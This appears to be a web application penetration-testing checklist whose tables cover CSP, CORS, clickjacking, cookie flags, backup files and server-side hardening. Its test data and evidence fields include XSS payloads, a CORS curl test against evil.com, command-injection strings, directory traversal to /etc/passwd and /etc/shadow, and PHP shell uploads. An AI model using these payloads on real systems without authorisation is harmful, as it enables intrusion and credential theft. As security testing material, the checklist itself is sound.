| **Actual Result** | (To be filled after assessment — e.g., CSP missing script-src directive, external scripts from untrusted domains allowed) |
| **Status** | (Pass / Fail Detected) |
| **Severity** | High if arbitrary or external script sources allowed. Medium if inline scripts without nonce or hash are permitted. |
| **Evidence** | Example findings:  - Response header: Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com - Injected script from evil.com successfully executed. |
| **Mitigation Recommendation** | - Define a strict script-src directive: script-src 'self' https://trustedcdn.com 'nonce-random123';  - Avoid wildcard or external untrusted domains. - Use hashes or nonces for inline scripts.  - Enable browser CSP violation reporting (optional). |

#### Content Security Policy : Untrusted Style Execution

| **Field** | **Content** |
| --- | --- |
| **Test Objective** | Verify whether the application’s Content Security Policy effectively prevents untrusted CSS/Style execution by restricting style sources and blocking inline style injection where possible. |
| **Pre-conditions** | - Application accessible via browser and proxy tools - Ability to modify or inject CSS via request parameters or DOM manipulation - Ability to inspect HTTP headers and browser console |
| **Test Data** | - Malicious style payloads: <style>\*{display:none}</style> or <img src=x onerror="document.body.style.background='red'">  - Tools: Burp Suite, Browser DevTools |
| **Test Steps** | 1. Inspect HTTP response headers for Content-Security-Policy. 2. Identify the style-src directive. 3. Check if it allows unsafe-inline or untrusted domains. 4. Attempt to inject inline styles or link external stylesheets from untrusted sources.   5. Observe browser console for CSP violation errors and rendering behavior. |
| **Expected Result** | - CSP header should include style-src 'self' or trusted domains.  - unsafe-inline should be avoided unless with hashes or nonces.  - Untrusted or inline style injections should be blocked. |
| **Actual Result** | (To be filled after assessment — e.g., unsafe-inline present in style-src, inline styles successfully manipulated page layout.) |
| **Status** | (Pass / Fail Detected) |
| **Severity** | Medium if untrusted styles can alter page layout. High if CSS injection can indirectly trigger JS (via style-based attacks like CSS keyloggers or click overlays). |
| **Evidence** | Example findings:  - Response header: Content-Security-Policy: style-src 'self' 'unsafe-inline'  - Injected <style>body{background:red}</style> successfully executed. |
| **Mitigation Recommendation** | - Define a strict style-src directive: style-src 'self' https://trustedcdn.com - Remove unsafe-inline where possible.  - Use hashes or nonces if inline styles are necessary. - Regularly audit external stylesheet sources. |

#### Content Security Policy : Click jacking (missing frame protection)

| **Field** | **Content** |
| --- | --- |
| **Test Objective** | Verify whether the application enforces frame protection using the CSP frame-ancestors directive to prevent embedding pages within iframes on untrusted domains, mitigating clickjacking risks. |
| **Pre-conditions** | - Application accessible via browser and proxy - Ability to inspect HTTP response headers - Test page available for embedding the application in an iframe |
| **Test Data** | - Malicious HTML page with an iframe embedding the target URL  - Tools: Browser DevTools, Burp Suite |
| **Test Steps** | 1. Inspect HTTP response headers for Content-Security-Policy or X-Frame-Options. 2. Look for frame-ancestors directive. 3. Attempt to embed sensitive pages (login, payments, dashboards) in an iframe.   4. Observe browser rendering behavior and console errors. |
| **Expected Result** | - CSP should contain: frame-ancestors 'none' (preferred) or frame-ancestors 'self'  - Embedding should be blocked with a CSP violation error.  - No clickjacking opportunities should exist. |
| **Actual Result** | (To be filled after assessment — e.g., No CSP frame-ancestors present, iframe embedding succeeded.) |
| **Status** | (Pass / Fail Detected) |
| **Severity** | High if sensitive pages can be clickjacked. Medium if non-sensitive pages are frameable but introduce minor UI risks. |
| **Evidence** | Example findings:  - No Content-Security-Policy: frame-ancestors header present.  - POC HTML iframe successfully rendered the target page. |
| **Mitigation Recommendation** | - Set CSP directive: Content-Security-Policy: frame-ancestors 'none';  - Remove any existing X-Frame-Options in favor of CSP for modern browser compatibility.  - Apply on all sensitive endpoints (login, account, admin panels). |

#### Cross Origin Resource Sharing

| **Field** | **Content** |
| --- | --- |
| **Test Objective** | Verify that the web application implements secure and restrictive CORS policies, preventing unauthorized domains from making cross-origin requests to sensitive resources and API s. |
| **Pre-conditions** | - Access to application URLs and API endpoints- Burp Suite, curl, or browser developer tools- Ability to intercept and modify request headers |
| **Test Data** | - Application base URLs- Sample cross-origin domains (e.g., attacker.com, evil.com)- List of sensitive API endpoints (e.g., /api/user/info, /api/payment/charge) |
| **Test Steps** | 1. Identify API endpoints and resources accepting cross-origin requests (check developer console Network tab for Access-Control-Allow-Origin headers). 2. Using Burp Suite Repeater or curl, send a request to the application’s API with a custom Origin header set to an untrusted, attacker-controlled domain (e.g., <https://evil.com).> 3. Observe the response headers:   • Check if Access-Control-Allow-Origin reflects the attacker’s origin, or uses a wildcard \*.  • Check if Access-Control-Allow-Credentials is set to true while allowing an untrusted origin.   1. If allowed, attempt to make authenticated requests (with cookies/session tokens) via a malicious cross-origin site and observe if sensitive data is accessible.   If only the access-control-allow-origin header is set to \* but the access-control-allow-credentials is not enabled , Then the application is not vulnerable to Cross Origin Resource Sharing  Also the CSP must be verified to whether Information is passed onto third party domains. This must be confirmed by capturing the requesting and analyzing for Cross Origin Resource sharing  If request can be made from a third party domain and response is shared to the third party domain also then the application is vulnerable to Cross Origin Resource Sharing |
| **Expected Result** | - The server should only respond with Access-Control-Allow-Origin for trusted domains.  - It should **not reflect arbitrary origins**, nor use \* in combination with Access-Control-Allow-Credentials: true.  - Unauthorized cross-origin requests should be blocked. |
| **Actual Result** | (To be filled after assessment — e.g., Access-Control-Allow-Origin: \* and Access-Control-Allow-Credentials: true observed for unauthenticated and authenticated requests on /api/user/info.) |
| **Status** | (Pass / Fail Detected) |
| **Severity** | High if sensitive data or authenticated actions are accessible from untrusted origins.  Medium if misconfiguration exists but no sensitive data exposure confirmed. |
| **Evidence** | Example findings:  - API endpoint /api/user/info responded with Access-Control-Allow-Origin: \* and Access-Control-Allow-Credentials: true.  - Burp Suite Repeater request with Origin: https://evil.com was accepted.  - Sensitive user data (email, phone number) returned in response.  - curl PoC: curl -H "Origin: https://evil.com" -i https://target.com/api/user/info showed reflected Origin. |
| **Mitigation Recommendation** | - Restrict Access-Control-Allow-Origin to a strict, vetted list of trusted domains.  - Never use wildcard \* for authenticated endpoints or those returning sensitive data.  - Avoid combining Access-Control-Allow-Credentials: true with wildcard origins.  - Validate and sanitize Origin headers on the server-side.  - Regularly audit and review CORS configurations as part of deployment processes.  - Implement strict CORS policy defaults and deny cross-origin requests unless explicitly necessary. |

#### Cross Origin Resource Sharing: Arbitrary Origin Trusted

| **Field** | **Content** |
| --- | --- |
| **Test Objective** | Verify that the web application implements secure and restrictive CORS policies, preventing unauthorized domains from making cross-origin requests to sensitive resources and API s. |
| **Pre-conditions** | - Access to application URLs and API endpoints- Burp Suite, curl, or browser developer tools- Ability to intercept and modify request headers |
| **Test Data** | - Application base URLs- Sample cross-origin domains (e.g., attacker.com, evil.com)- List of sensitive API endpoints (e.g., /api/user/info, /api/payment/charge) |
| **Test Steps** | 1. Identify API endpoints and resources accepting cross-origin requests (check developer console Network tab for Access-Control-Allow-Origin headers). 2. Using Burp Suite Repeater or curl, send a request to the application’s API with a custom Origin header set to an untrusted, attacker-controlled domain (e.g., <https://evil.com).> 3. Observe the response headers:   • Check if Access-Control-Allow-Origin reflects the attacker’s origin, or uses a wildcard \*.  • Check if Access-Control-Allow-Credentials is set to true while allowing an untrusted origin.   1. If allowed, attempt to make authenticated requests (with cookies/session tokens) via a malicious cross-origin site and observe if sensitive data is accessible.   If only the access-control-allow-origin header is set to \* but the access-control-allow-credentials is not enabled , Then the application is not vulnerable to Cross Origin Resource Sharing  Also the CSP must be verified to whether Information is passed onto third party domains. This must be confirmed by capturing the requesting and analyzing for Cross Origin Resource sharing  If request can be made from a third party domain and response is shared to the third party domain also then the application is vulnerable to Cross Origin Resource Sharing  The arbitrary Origin if trusted in the Origin header - then is not an issue but if the request can be made from the arbitrary origin and response is sent to the request then the application is vulberable to Cross Origin Resource Sharing |
| **Expected Result** | - The server should only respond with Access-Control-Allow-Origin for trusted domains.  - It should **not reflect arbitrary origins**, nor use \* in combination with Access-Control-Allow-Credentials: true.  - Unauthorized cross-origin requests should be blocked. |
| **Actual Result** | (To be filled after assessment — e.g., Access-Control-Allow-Origin: \* and Access-Control-Allow-Credentials: true observed for unauthenticated and authenticated requests on /api/user/info.) |
| **Status** | (Pass / Fail Detected) |
| **Severity** | High if sensitive data or authenticated actions are accessible from untrusted origins.  Medium if misconfiguration exists but no sensitive data exposure confirmed. |
| **Evidence** | Example findings:  - API endpoint /api/user/info responded with Access-Control-Allow-Origin: \* and Access-Control-Allow-Credentials: true.  - Burp Suite Repeater request with Origin: https://evil.com was accepted.  - Sensitive user data (email, phone number) returned in response.  - curl PoC: curl -H "Origin: https://evil.com" -i https://target.com/api/user/info showed reflected Origin. |
| **Mitigation Recommendation** | - Restrict Access-Control-Allow-Origin to a strict, vetted list of trusted domains.  - Never use wildcard \* for authenticated endpoints or those returning sensitive data.  - Avoid combining Access-Control-Allow-Credentials: true with wildcard origins.  - Validate and sanitize Origin headers on the server-side.  - Regularly audit and review CORS configurations as part of deployment processes.  - Implement strict CORS policy defaults and deny cross-origin requests unless explicitly necessary. |

#### Accessible Backup Files (A05:2021 Security Misconfiguration)

| **Field** | **Content** |
| --- | --- |
| **Test Objective** | Verify whether the application exposes backup or leftover development files via predictable filename patterns (e.g., .bak, .zip, .old) that could contain source code, credentials, or config info. |
| **Pre-conditions** | - Access to web application base URLs- Burp Suite, browser, curl, or wordlist-based tools (e.g., ffuf, dirsearch)- Optional: knowledge of likely endpoint/file names |
| **Test Data** | - List of common backup file extensions: .bak, .old, .zip, .tar.gz, .swp, .orig, .inc, .sql, .env, .DS\_Store, index.php~- Wordlists: raft-small-files.txt, custom extension fuzz list |
| **Test Steps** | 1. Identify valid files and directories in the application (e.g., index.php, config.js, /admin/). 2. Manually or using a fuzzing tool, try variations like:   • index.php.bak, config.js.old, /admin.zip, /src.tar.gz   1. Send GET requests to those variations. 2. Observe responses:   • 200 OK = file exposed  • 403 Forbidden = access controlled but discoverable  • 404 Not Found = not exposed   1. If downloaded, inspect contents for sensitive data like credentials, tokens, keys, or source code.   If the backup file is not returning anything sensitive then the current alert is not vulnerable |
| **Expected Result** | - The application should not expose any backup, temporary, or development-related files.  - Access to such files should result in 403/404 or be disallowed by server configuration. |
| **Actual Result** | (To be filled after assessment — e.g., config.js.bak exposed full JavaScript source code including API keys.) |
| **Status** | (Pass / Fail Detected) |
| **Severity** | High if backup file exposes sensitive data (e.g., source code, credentials, database dumps).Medium if only application logic/code revealed without sensitive data. |
| **Evidence** | Example findings:- GET /config.js.bak returned 200 OK, downloaded file contains API keys and endpoint URLs.- /admin/backup.zip contains unencrypted .env file with DB password.- Fuzzing with ffuf on https://example.com/ -w backup\_extensions.txt returned valid hits. |
| **Mitigation Recommendation** | - Remove all backup, temporary, or development files from production environments.- Implement deny rules in web server config (e.g., Apache, NGINX) to block access to known sensitive file patterns.- Perform regular content audits and directory/file permission reviews.- Use version control instead of manual file backups.- Integrate file integrity checks and secure deployment pipelines to prevent accidental exposure. |

#### Suspicious Input Transformation (Inout Reflected)

| **Field** | **Content** |
| --- | --- |
| **Test Objective** | Verify whether user-supplied input is reflected in application responses with unexpected or partial transformations (e.g., escaping certain characters but leaving others), which could indicate insecure input handling or incomplete sanitization. |
| **Pre-conditions** | - Access to application forms, URLs, API endpoints accepting user input  - Burp Suite, browser developer tools, or curl |
| **Test Data** | - Special character payloads: < > ' " / \ &- Known test strings:  test123, abc<script>alert(1)</script>xyz, "><img src=x onerror=alert(1)> |
| **Test Steps** | 1. Identify input fields or parameters where user input is processed and reflected in the response (HTML page, JSON, error messages, headers). 2. Submit test strings containing special characters and payloads. 3. Observe how the input is transformed in the response:   • Are some characters encoded (e.g. < → &lt;) while others are not?  • Is input truncated, stripped, or altered?  4. Test combinations to check for inconsistent handling (e.g., double encoding, bypass possibilities). |
| **Expected Result** | - All special characters should be safely and consistently encoded based on the output context (HTML, JavaScript, JSON).  - No partial or suspicious transformations should occur (e.g., < converted but > left intact). |
| **Actual Result** | (To be filled after assessment — e.g., <script> input reflected as &lt;script> but closing tag </script> appears unencoded; inconsistent encoding detected.) |
| **Status** | (Pass / Fail Detected) |
| **Severity** | Medium to High depending on whether transformations can be bypassed to exploit XSS, injection, or information leakage vulnerabilities. |
| **Evidence** | Example findings:  - Input <script>alert(1)</script> reflected as &lt;script>alert(1)</script> in HTML response.  - Only opening tag partially encoded.  - Payload "><img src=x onerror=alert(1)> reflected with " encoded but event handler left intact.  - No consistent sanitization observed.  - No CSP header enforced. |
| **Mitigation Recommendation** | - Apply consistent, context-aware output encoding for all user-supplied data based on where it's used (HTML, attribute, JavaScript, JSON, etc.).  - Use modern, secure templating engines or frameworks that automatically escape output.  - Avoid blacklisting characters  — use robust whitelisting and encoding libraries.  - Implement a strict Content Security Policy (CSP) header to reduce exploitability.  - Regularly review application code for incomplete sanitization routines and bypass opportunities. |

#### TLS Upgrade Session Hijacking

| **Field** | **Content** |
| --- | --- |
| **Test Objective** | Verify whether the Apache HTTP Server supports opportunistic TLS upgrades (RFC 2817), which may allow a man-in-the-middle attacker to hijack HTTP sessions via desynchronization. |
| **Pre-conditions** | - Apache HTTP Server version ≤ 2.4.63<br>  - mod\_ssl enabled  - SSLEngine optional configured  - Access to server over HTTP (port 80)  - Tools: curl, Burp Suite or similar proxy |
| **Test Data** | - HTTP request with TLS upgrade header:  http GET / HTTP/1.1  Host: your-server.com  Upgrade: TLS/1.0  Connection: Upgrade  - curl command: bash  curl -H “Upgrade: TLS/1.0” -i http://your-server.com |
| **Test Steps** | 1. Send a crafted HTTP request with Upgrade: TLS/1.0 header using curl or a proxy. 2. Observe server response for 101 Switching Protocols. 3. Inspect Apache config for SSLEngine optional.   4. Use Burp Suite to simulate partial TLS upgrade and observe desynchronization (e.g., split response, session hijack). |
| **Expected Result** | - Server should **not** respond with 101 Switching Protocols.  - TLS upgrade should be rejected or unsupported.  - No desynchronization or session hijack should be possible. |
| **Actual Result** | (To be filled after assessment — e.g., Server responded with 101 Switching Protocols and allowed TLS upgrade) |
| **Status** | (Pass / Fail Detected) |
| **Severity** | **High** if TLS upgrade is accepted and session hijack is feasible  **Medium** if upgrade is accepted but no hijack observed |
| **Evidence** | Example findings:  - Server responded with:  http HTTP/1.1 101 Switching Protocols  Upgrade: TLS/1.0  Connection: Upgrade - Apache config contains SSLEngine optional  - Proxy tool shows desynchronized HTTP stream |
| **Mitigation Recommendation** | - Upgrade to Apache HTTP Server **2.4.64**, which removes TLS upgrade support  - Remove SSLEngine optional from configuration  - Enforce strict TLS-only access (port 443)  - Monitor for anomalous HTTP upgrade attempts in logs |

#### HTML does not specify charset

| **Field** | **Content** |
| --- | --- |
| **Test Objective** | Verify whether an HTML document explicitly declares its character encoding using a <meta charset> tag or HTTP header, ensuring proper rendering of special characters and multilingual content. |
| **Pre-conditions** | - Access to HTML source code or server response headers<br>- Browser or proxy tool (e.g., Burp Suite, DevTools)<br>- HTML file containing non-ASCII characters (e.g., accented letters, symbols)<br>- Text editor capable of saving files in UTF-8 |
| **Test Data** | - HTML file with content like: méywe, ©, ✓<br>- Variants:  • With <meta charset="UTF-8"><br>  • Without charset declaration<br>  • With incorrect charset (e.g., ISO-8859-1)<br>  - HTTP response headers with and without Content  -Type: text/html; charset=UTF-8 |
| **Test Steps** | 1. Open the HTML file in a browser and observe character rendering. 2. Inspect the HTML source for <meta charset> or <meta http-equiv="Content-Type">. 3. Use browser DevTools or proxy to inspect HTTP response headers 4. Save the file in different encodings (UTF-8, ANSI) and reload   5. Remove charset declaration and observe fallback behavior. |
| **Expected Result** | - HTML should declare charset explicitly via <meta charset="UTF-8"> near the top of the <head>.<br>- Server should send Content-Type header with charset.<br>- Characters should render correctly across browsers. |
| **Actual Result** | (To be filled after assessment — e.g., Browser rendered “m�ywe” instead of “méywe” due to missing charset declaration) |
| **Status** | (Pass / Fail Detected) |
| **Severity** | **High** if character corruption affects user experience or multilingual content  **Medium** if fallback works but inconsistently across browsers |
| **Evidence** | Example findings:<br>- No <meta charset> found in HTML head<br>- Server response: Content-Type: text/html (missing charset)<br>- Browser rendered corrupted characters<br>- File saved in UTF-8 but interpreted as ISO-8859-1 |
| **Mitigation Recommendation** | - Always include <meta charset="UTF-8"> in the <head> section  - Configure server to send Content-Type: text/html; charset=UTF-8<br>  - Save HTML files in UTF-8 without BOM  - Validate encoding using tools like W3C Validator or browser DevTools |

#### Cache-able HTTPS Response

| **Field** | **Content** |
| --- | --- |
| **Test Objective** | Verify whether HTTPS responses from the application are marked as cacheable, potentially allowing sensitive data to be stored in browser or proxy caches. |
| **Pre-conditions** | - Application accessible over HTTPS  - Ability to inspect HTTP response headers (via browser DevTools, Burp Suite, curl)  - Pages or endpoints that return sensitive data (e.g., user profiles, tokens, financial info)  - Browser configured to cache HTTPS responses (e.g., Internet Explorer, legacy setups) |
| **Test Data** | - Sensitive endpoints:  • /account, /profile, /dashboard, /api/token<br>- Tools:<br>  • curl -I <https://yourdomain.com/account<br>>  • Burp Suite or browser DevTools |
| **Test Steps** | 1. Identify HTTPS endpoints that return sensitive data 2. Send a request and inspect response headers for caching directives:   • Cache-Control  • Pragma  • Expires   1. Check for absence of Cache-Control: no-store or presence of public, max-age, etc 2. Use browser cache inspection tools to confirm if response is stored locally. 3. Repeat test across different browsers and proxies.   As unauthenticated attacker try to access the resources from the server and check whether the same is passed in the response |
| **Expected Result** | - Sensitive HTTPS responses should include:  • Cache-Control: no-store, no-cache, must-revalidate  • Pragma: no-cache  • Expires: 0  - No caching of sensitive content should occur. |
| **Actual Result** | (To be filled after assessment — e.g., Response to /account included Cache-Control: public, max-age=3600 and was cached by browser) |
| **Status** | (Pass / Fail Detected) |
| **Severity** | **High** if sensitive data is cached and accessible to other users on shared systems  **Medium** if caching occurs but data is not sensitive |
| **Evidence** | Example findings:  - Response headers:  http Cache-Control: public, max-age=3600  - Browser cached user profile page  - No no-store directive present  - Cached content accessible after logout |
| **Mitigation Recommendation** | - Set headers to prevent caching:  • Cache-Control: no-store, no-cache, must-revalidate  • Pragma: no-cache  • Expires: 0  - Apply these headers to all sensitive endpoints  - Test across browsers and proxies  - Educate developers on secure caching practices |

#### Cookie Security Flags

| **Field** | **Content** |
| --- | --- |
| **Test Objective** | Verify whether application cookies are properly configured with security flags (Secure, HttpOnly, SameSite, Expires/Max-Age) to protect against session hijacking, XSS, and CSRF attacks. |
| **Pre-conditions** | - Application accessible over HTTPS  - Ability to intercept and inspect HTTP response headers (via Burp Suite, ZAP, browser DevTools)  - Active user session (if applicable)  - Test account credentials or access to public pages |
| **Test Data** | - Sensitive cookies (typically set on login or page load):  • sessionid, csrftoken, authToken, etc. - Tools:  • Burp Suite  • Browser DevTools (Network tab)  • curl -I <https://yourdomain.com/login> |
| **Test Steps** | 1. Identify cookies set by the application, particularly for sessions and authentication tokens. 2. Send authenticated and unauthenticated requests to endpoints and observe Set-Cookie headers. 2. Verify the presence of:   • Secure flag on HTTPS cookies  • HttpOnly flag on cookies storing sensitive data  • SameSite attribute (Strict or Lax)  • Proper Expires/Max-Age values for persistent cookies   1. Attempt to access cookies via JavaScript (in browser console: document.cookie) and validate HttpOnly enforcement. 2. If SameSite=None is used, confirm Secure flag is also present. 3. Repeat on different browsers and clients (mobile/desktop) where possible.   Note [when the cookie is non-sensitive + application can function without the cookie and has no sensitive information in it then the cookie flag attribute need not be checked and the alert can be considered as invalid ] |
| **Expected Result** | - All sensitive cookies should have:  • Secure  • HttpOnly  • SameSite=Strict or Lax (as appropriate)  • Appropriate Expires or Max-Age values  - Cookies storing authentication tokens must not be accessible via document.cookie  - SameSite=None should always be paired with Secure |
| **Actual Result** | (To be filled after assessment — e.g., sessionid cookie lacked Secure and HttpOnly flags. SameSite not set.) |
| **Status** | (Pass / Fail Detected) |
| **Severity** | High if session/authentication cookies lack critical flags Medium if non-sensitive cookies (e.g., UI preferences) lack flags |
| **Evidence** | Example findings: - Response headers: Set-Cookie: sessionid=abc123xyz; Path=/; Domain=yourdomain.com (Missing Secure, HttpOnly, SameSite) - Accessing document.cookie reveals session token - CSRF exploit possible via missing SameSite |
| **Mitigation Recommendation** | - Set appropriate cookie security flags:  • Secure; HttpOnly; SameSite=Strict (or Lax as required)  • Use SameSite=None **only** with Secure  - Configure sensible expiration policies via Expires/Max-Age  - Test behavior across multiple browsers and platforms  - Educate development team on secure cookie management |

#### Cross Domain Script included

| **Field** | **Content** |
| --- | --- |
| **Test Objective** | Verify whether the application includes scripts from external domains, which could be manipulated to execute malicious code in the application's context (potential supply chain or XSS vector). |
| **Pre-conditions** | - Application accessible via browser or proxy tools (Burp Suite, ZAP) - Ability to view HTML source and network requests - Ability to analyze <script> tags and external URLs in responses |
| **Test Data** | - Application pages (authenticated and unauthenticated):  • /, /login, /dashboard, etc. - Tools:  • Burp Suite (Proxy/HTTP history)  • Browser DevTools (Sources & Network tabs) |
| **Test Steps** | 1. Load application pages and inspect HTML responses for <script src=""> tags. 2. Identify any scripts loaded from external domains (e.g., cdn.example.com, external-js.com) 3. Check if an integrity attribute (Subresource Integrity - SRI) is present for each external script. 4. If no integrity attribute, note the domain and whether the script is loaded over HTTPS. 4. Validate if the external domain is controlled by the application owner or a trusted vendor.   6. If possible, test by modifying the external script content (in test environments or controlled POCs) to see if malicious code executes. |
| **Expected Result** | - No external scripts included from untrusted domains. - If external scripts are required, they should:  • Be loaded via HTTPS  • Include an integrity attribute for SRI validation  • Use a trusted crossorigin policy (anonymous) |
| **Actual Result** | (To be filled after assessment — e.g., https://cdn.unknownvendor.com/library.js loaded without integrity check over HTTPS) |
| **Status** | (Pass / Fail Detected) |
| **Severity** | High if external scripts are loaded without integrity verification Medium if loaded from highly trusted CDNs without SRI but over HTTPS |
| **Evidence** | Example findings:  - HTML Response: <script src="https://thirdpartycdn.com/script.js"></script> (No integrity attribute, loaded over HTTPS)  - Potential to inject malicious code via third-party compromise |
| **Mitigation Recommendation** | - Avoid including scripts from untrusted domains.  - If external scripts are necessary:  • Serve them from your own domain when possible  • Use HTTPS  • Implement Subresource Integrity (integrity attribute) to verify content hash  • Set crossorigin="anonymous" attribute  - Regularly audit external dependencies and CDNs |

#### Frame-able Response Potential Click Jacking

| **Field** | **Content** |
| --- | --- |
| **Test Objective** | Verify whether the application’s responses can be embedded within an <iframe> or <frame> on a third-party website, exposing users to clickjacking attacks that could result in unauthorized actions, phishing, or UI redressing attacks. |
| **Pre-conditions** | - Application accessible via browser and proxy tools (Burp Suite, OWASP ZAP) - Ability to host and access a simple HTML page on an attacker-controlled domain (for POC) - Target pages of interest (login forms, payment pages, dashboards) |
| **Test Data** | - Target URLs: • /login • /dashboard • /account - Malicious HTML page with an <iframe> embedding the target page. - Tools: • Burp Suite • Browser DevTools • Simple local HTML file |
| **Test Steps** | 1. Send a request to the target page and inspect the HTTP response headers. 2. Check for the presence of any of the following headers:   • X-Frame-Options (should be DENY or SAMEORIGIN)  • Content-Security-Policy (should contain frame-ancestors 'none' or frame-ancestors 'self')   1. If headers are absent or permissive, create a simple HTML page with an <iframe> pointing to the target page. 2. Load this malicious page in a browser and verify if the target page renders inside the frame. 3. If rendered, attempt overlay techniques or hidden iframe interaction as a proof of concept.   If security header is set and the site cannot be rendered in the iframe then the alert is not vulnerable |
| **Expected Result** | - Sensitive application pages should either:  • Include X-Frame-Options: DENY or SAMEORIGIN in HTTP response headers.  • Include a Content-Security-Policy directive like frame-ancestors 'none' or frame-ancestors 'self'.  - Embedding in an <iframe> should fail or display a browser error/warning. |
| **Actual Result** | (To be filled after assessment — e.g., /account page lacked frame protection headers and was successfully embedded within a malicious iframe.) |
| **Status** | (Pass / Fail Detected) |
| **Severity** | High if login, payment, or sensitive actions can be clickjacked. Medium if non-sensitive pages are frameable but still risk UI manipulation. |
| **Evidence** | Example findings:  - HTTP Response: No X-Frame-Options or Content-Security-Policy headers present.  - Malicious POC HTML: <iframe src="https://targetsite.com/account" width="800" height="600"></iframe> - Page rendered inside iframe successfully. |
| **Mitigation Recommendation** | - Implement frame protection headers:  • X-Frame-Options: DENY (blocks framing)  • or X-Frame-Options: SAMEORIGIN (allows framing from same origin only)  - Prefer Content-Security-Policy: frame-ancestors 'none'; as it's the modern, recommended method.  - Apply these headers on all sensitive application pages (login, payments, dashboards).  - Periodically audit response headers for protection coverage. |

| **Flag** | **Purpose** | **Possible Values** | **Recommended Configuration** | **Security Impact if Missing** |
| --- | --- | --- | --- | --- |
| Secure | Ensures the cookie is only sent over HTTPS connections | Secure (or absent) | Set Secure on all cookies, especially session-related cookies | Cookie can be sent over unencrypted HTTP, risking interception in man-in-the-middle (MitM) attacks |
| HttpOnly | Prevents client-side scripts (e.g. JavaScript) from accessing the cookie | HttpOnly (or absent) | Set HttpOnly on all cookies containing sensitive data (like session IDs) | Increases risk of session theft via XSS attacks if cookie is accessible to client scripts |
| SameSite | Restricts whether cookies are sent with cross-site requests | Strict, Lax, None | Set to Strict or Lax depending on the business logic; avoid None unless necessary and paired with Secure | Allows CSRF attacks if not properly configured; None without Secure is insecure |
| Expires / Max-Age | Controls cookie's lifespan | Specific date/time, or max age | Set appropriate expiration for session cookies (short-lived) and persistent cookies (as needed) | Without expiry, persistent cookies remain indefinitely or until browser close (for session cookies) |

#### Server Side Security Vulnerability

| **Field** | **Content** |
| --- | --- |
| **Test Objective** | Verify that the underlying server-side components (OS, web server, application server, services, file system, execution environment) are properly hardened, do not expose sensitive resources, and are not vulnerable to known attack vectors such as RCE, insecure file permissions, default credentials, or configuration leaks. |
| **Pre-conditions** | - Web application hosted on a reachable server or cloud VM- Burp Suite, Nmap, Nikto, or equivalent tools  - Access to HTTP responses, server banners, and directory structure (via fuzzing)  - Ability to test file uploads, view error messages, or inspect file-based endpoints |
| **Test Data** | - Malicious inputs targeting file paths, command execution, internal APIs, or misconfigurations- Uploadable files (e.g., PHP/JSP/ASP shell, script file, config file)  - Known exploit payloads (e.g., for outdated Tomcat, Apache, Nginx, Node.js)  - Crafted HTTP headers or directory traversal payloads |
| **Test Steps** | ### 1. **Enumerate Server Information:**  - Identify Server, X-Powered-By, X-AspNet-Version, etc., from response headers.  - Use tools like whatweb, nmap -sV, or Burp to fingerprint server software.  ### 2. **Test for Command Injection:**  - Inject payloads like ;id, &&whoami, `uname -a` in fields triggering backend processes (e.g., ping, form actions).  ### 3. **Test for File Upload Vulnerabilities:**  - Upload .php, .jsp, .html, or .sh files.  - Try to access the file via the browser or fuzz upload directories.  - Check if the file executes server-side.  ### 4. **Check for Directory Traversal / LFI:**  - Test endpoints with ../../../../etc/passwd or %2e%2e%2f sequences.  - Try accessing config files, keys, logs (e.g., /WEB-INF/web.xml, /etc/shadow).  ### 5. **Test for Error Disclosure / Stack Traces:**  - Trigger errors and analyze verbose stack traces that reveal internal paths or server software.  ### 6. **Check for Exposed Services / Admin Consoles:**  - Fuzz or scan for /server-status, /admin/, /actuator, /phpmyadmin/, etc.  - Check for default credentials if accessible.  ### 7. **Review Permissions and Misconfigurations (Manual/SSH if in scope):**  - Check for world-writable files, unnecessary services, or root-owned logs writable by www-data. |
| **Expected Result** | - No command or file execution should be possible through user input.  - Uploaded files should be stored securely and not executed.  - No sensitive files or server-side directories should be accessible.  - Error messages should be generic.- No default consoles or unauthenticated services should be exposed.  - File permissions and users should follow least privilege. |
| **Actual Result** | (To be filled after assessment — e.g., Able to upload .php shell and execute via /uploads/shell.php; /etc/passwd accessible through ../../ traversal.) |
| **Status** | (Pass / Fail Detected) |
| **Severity** | - **Critical** if remote code execution or file upload shell is achieved.  - **High** if sensitive files, logs, or configs are accessible.  - **Medium** if server details are disclosed or test pages are exposed.  - **Low** for minor misconfigurations with limited risk. |
| **Evidence** | Example:  **Command Injection (Ping Tool):**  <br>POST /ping HTTP/1.1<br>Host: vulnerable.com<br>Content-Type: application/x-www-form-urlencoded<br><br>ip=127.0.0.1;id<br>  **Response:**<br>uid=33(www-data) gid=33(www-data) groups=33(www-data)<br>→ Command executed server-side.  **LFI Evidence:**<br>GET /page?file=../../../../etc/passwd<br>Response contains user list from /etc/passwd. |
| **Mitigation Recommendation** | - Sanitize and validate all user input on the server.  - Disable command execution based on input where not absolutely required.  - Implement allowlisting for file uploads (e.g., MIME type, extension, content inspection).  - Restrict execution permissions for uploaded content.  - Apply proper file and directory permissions.  - Hide or restrict access to internal directories and sensitive files.  - Configure error handling to avoid detailed server error messages.  - Disable default admin consoles, services, and debugging endpoints in production.  - Use security headers and log hardening (e.g., remove server banners, version info). |

#### Server side Security headers

| **Field** | **Content** |
| --- | --- |
| **Test Objective** | Verify that the application includes the recommended HTTP security headers in all server responses, with secure and restrictive configurations, to mitigate common browser-based attacks (e.g., XSS, clickjacking, insecure content loading, or info leakage). |
| **Pre-conditions** | - Test/staging web application running on HTTP/S  - Access to Burp Suite, browser dev tools, or curl  - Response headers inspectable via proxy or browser |
| **Test Data** | - None (passive test based on observing headers)  - Optional: manual HTTP requests via curl  -I https://target.com or Burp  - Authenticated and unauthenticated page responses |
| **Test Steps** | 1. Open the application in Burp Suite or browser dev tools. 2. Access key endpoints: home page, login, dashboard, API responses, error pages. 3. Capture and inspect **HTTP response headers** for each. 4. Validate presence and configuration of the following headers:**Mandatory Security Headers:**🔸 Strict-Transport-Security🔸   X-Content-Type-Options🔸  X-Frame-Options🔸  Content-Security-Policy (CSP)🔸  Referrer-Policy🔸  Permissions-Policy (previously Feature-Policy)🔸  X-XSS-Protection (legacy, but still found)🔸  Cross-Origin-Resource-Policy (optional)  5. Compare values with recommended secure defaults (listed below). |
| **Expected Result** | - All sensitive endpoints return a complete set of recommended security headers.  - Header values should be configured to block risky behaviors (e.g., disallow framing, force HTTPS, disable MIME sniffing).  - No outdated or insecure headers should be used (e.g., X-Powered-By, Server: Apache/2.4.18). |
| **Actual Result** | (To be filled after assessment — e.g., Missing CSP and HSTS on login and dashboard pages; X-Frame-Options not set on authenticated pages.) |
| **Status** | (Pass / Fail Detected) |
